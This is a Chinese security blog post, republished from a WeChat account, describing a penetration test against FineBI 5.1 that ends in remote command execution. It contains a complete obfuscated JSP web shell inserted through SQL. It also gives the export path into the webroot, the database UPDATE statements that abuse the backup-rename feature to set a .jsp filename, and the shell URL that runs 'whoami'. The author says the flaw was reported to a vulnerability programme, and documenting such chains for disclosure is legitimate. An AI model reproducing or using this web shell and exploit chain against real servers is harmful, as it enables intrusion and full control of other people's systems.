前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次曲折的后台 getshell 过程

记一次曲折的后台 getshell 过程

作者头像
信安之路
发布2021-01-11 14:30:24
1.1K0
发布2021-01-11 14:30:24
举报
文章被收录于专栏:信安之路信安之路

最近团队在对某个厂商进行测试,辛辛苦苦搞了快一个星期才拿到一个 shell,弟弟太惨了

0x01 开始复现

访问 url 进入登录界面,输入管理密码进入页面

请装作没有看到我那个失败的 XSS,过了这么久也忘记在哪里改回来了

进入页面

我这咋一看,我丢这不是和通某 OA 差不多吗,当初通某 OA 刚发的时候,全是 XSS,越权,SQL 注入,未授权啥的,那时候也是更上了那次风,小赚了一笔

好了,不扯皮了,正式开始复现,进入页面后,点击数据准备

添加一个业务包,点击进去后发现可以添加数据表

在一看右上角有一个全局更新,点进入一看,我丢,数据表内容可以任意位置存放

看到之后,心想这不就翱翔了嘛,系统管理处好像有个添加数据库连接,这波就直接在本地数据库插入一个马子,在到这里一连接,然后一添加表,在一导出,不就直接 getshell 啦

直接开始操作,进入本地数据库,选择 phpstuby 创建数据库自带的 sys 数据库,进入在创建一个 test 表

use sys ; create table test(test varchar(2555) not null);

在数据库中插入木马内容,因为是 java 环境就是插入 jsp 的马子

insert into test(test) values ('<%if(request.getParameter("cmd")!=null){Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("

代码语言:javascript
复制
");while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("

");} %>');

回到系统中,将自己数据库添加进去,系统管理-数据连接-数据连接管理-新建数据连接

选择 mysql,添加配置

测试连接

回到数据准备处

找到我们创建的 test 数据库中 test 的数据表,确定

查看我们的马子:

马上见证奇迹的时候了

点击全局更新,修改下路径,注:因为路由问题,是无法直接访问的,需要放到 C:\FineBI5.1\webapps\webroot\scripts 路径下,但因为目录下必须为空,所以需要在前面随意添加目录,它会自动创建

点击立刻更新多维数据库

注:它默认会有很多数据,建议提前全部删除,我这里之前已经删了,就不搞了

查看文件是否到了指定目录,文件位置在

C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1下

查看文件中

然后我们就发现了一个很严重的问题.....不是 jsp 后缀,这不就当场裂开了吗

但是现在就差着临门一脚,怎么可能半途放弃,现在能解决我现在就两种方法了,文件包含,和任意文件名修改了,不过 java 站好像没得文件包含吧,手动滑稽,现在就只能一条路了,任意文件名修改,其实的话,原本是有一个的...但是是我朋友先发现的,就提交给某天了,导致没得用,现在就简单的给大家看一下

就是这个位置,任意文件名修改,用个 burp 抓个包改就好了,具体就不演示了,然后还有什么办法了呢,想了一天之后,终于给我找到了一处可能可以的

位置在:管理系统-智能运维-备份还原处

看到左上角角落里躲着一直设置的图标,点击一下

可以看到这又是一个任意文件存放,但是没啥用因为我们要的是任意文件名修改,所以主题不在这里,随意改一下备份路径等下好找,保持,回到页面,点击一下手动备份,名字随意

现在重点来了,拿小本本记号,必考

勾选之前的备份,开启 burp,点击重命名

发现好像只有一个 ID 来判断文件, 没有指定文件名,当时脑子就一晃,难道我就真的不能 getshell 了吗

不不不,仔细一想,它好像走的是数据库欸,然后一个 ID 和一个 name,那么数据库中必定包含着文件路径,要不然怎么修改,对了忘记给文件路径的图片了,文件目录在

C:\FineBI5.1\webapps\webroot\backup\config\manual\

这么长的路径,不管怎么说都得有个路径吧,现在就进入数据库找一找,

不负所望有了路径,应该只需要需要 backupName 和 savePath 两个参数就可以实现任意文件名修改了

现在就会有人问了,怎么才能连接数据库呢,不着急且听我慢慢道来,,在系统中有管理权限,可以配置外接数据库,只要有一台外网服务器,一个符合数据库版本和允许远程登录的数据库,不就成了么

开始实现:

位置在:管理系统-系统管理-常规-外接数据库

家境贫寒没有服务器,就找个我兄弟的服务用了一下,等下和他意思意思一下就可以了,现在说一下为什么要配置外接数据库,Finebi5.1 配置了外接,内容所有数据都会存入外接数据库当中,然后....手动滑稽

注意数据库版本是被指定的

咳咳,回到正题,现在我们开始修改数据库内容,至于表怎么找到的,别问,问就是一个一个翻

update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';

update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';

再次查看发现已经修改成功

这里说一下,为什么是把文件名改为 col-0-dic,而不是直接加上 jsp,因为它这个是会在指定的那个路径去寻找文件,如果改为 col-0-dic.jsp 就找不到文件了,所有现在就开始快乐的修改文件名环节

修改数据库后,回到系统后,刷新

可以看到文件名已经修改,现在开始重命名添加上 jsp 后缀

保存,到主机上查看

发现已经被修改,访问执行 whoami,参数是 cmd,GET 请求

IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami

成功了,历时五天六个小时,终于 getshell 了

0x04 结语

现在就是已经拿到 shell 权限了,因为是用管理权限运行的,至少都是一个管理员权限,不就想干啥干啥了,然后其中还有很多很多挫折的,试了很多很多方法,才找到一个(果然还是我太菜),但还是不负众望(相关漏洞已提交至某天 src)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 开始复现
    • 开始实现:
    • 0x04 结语
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档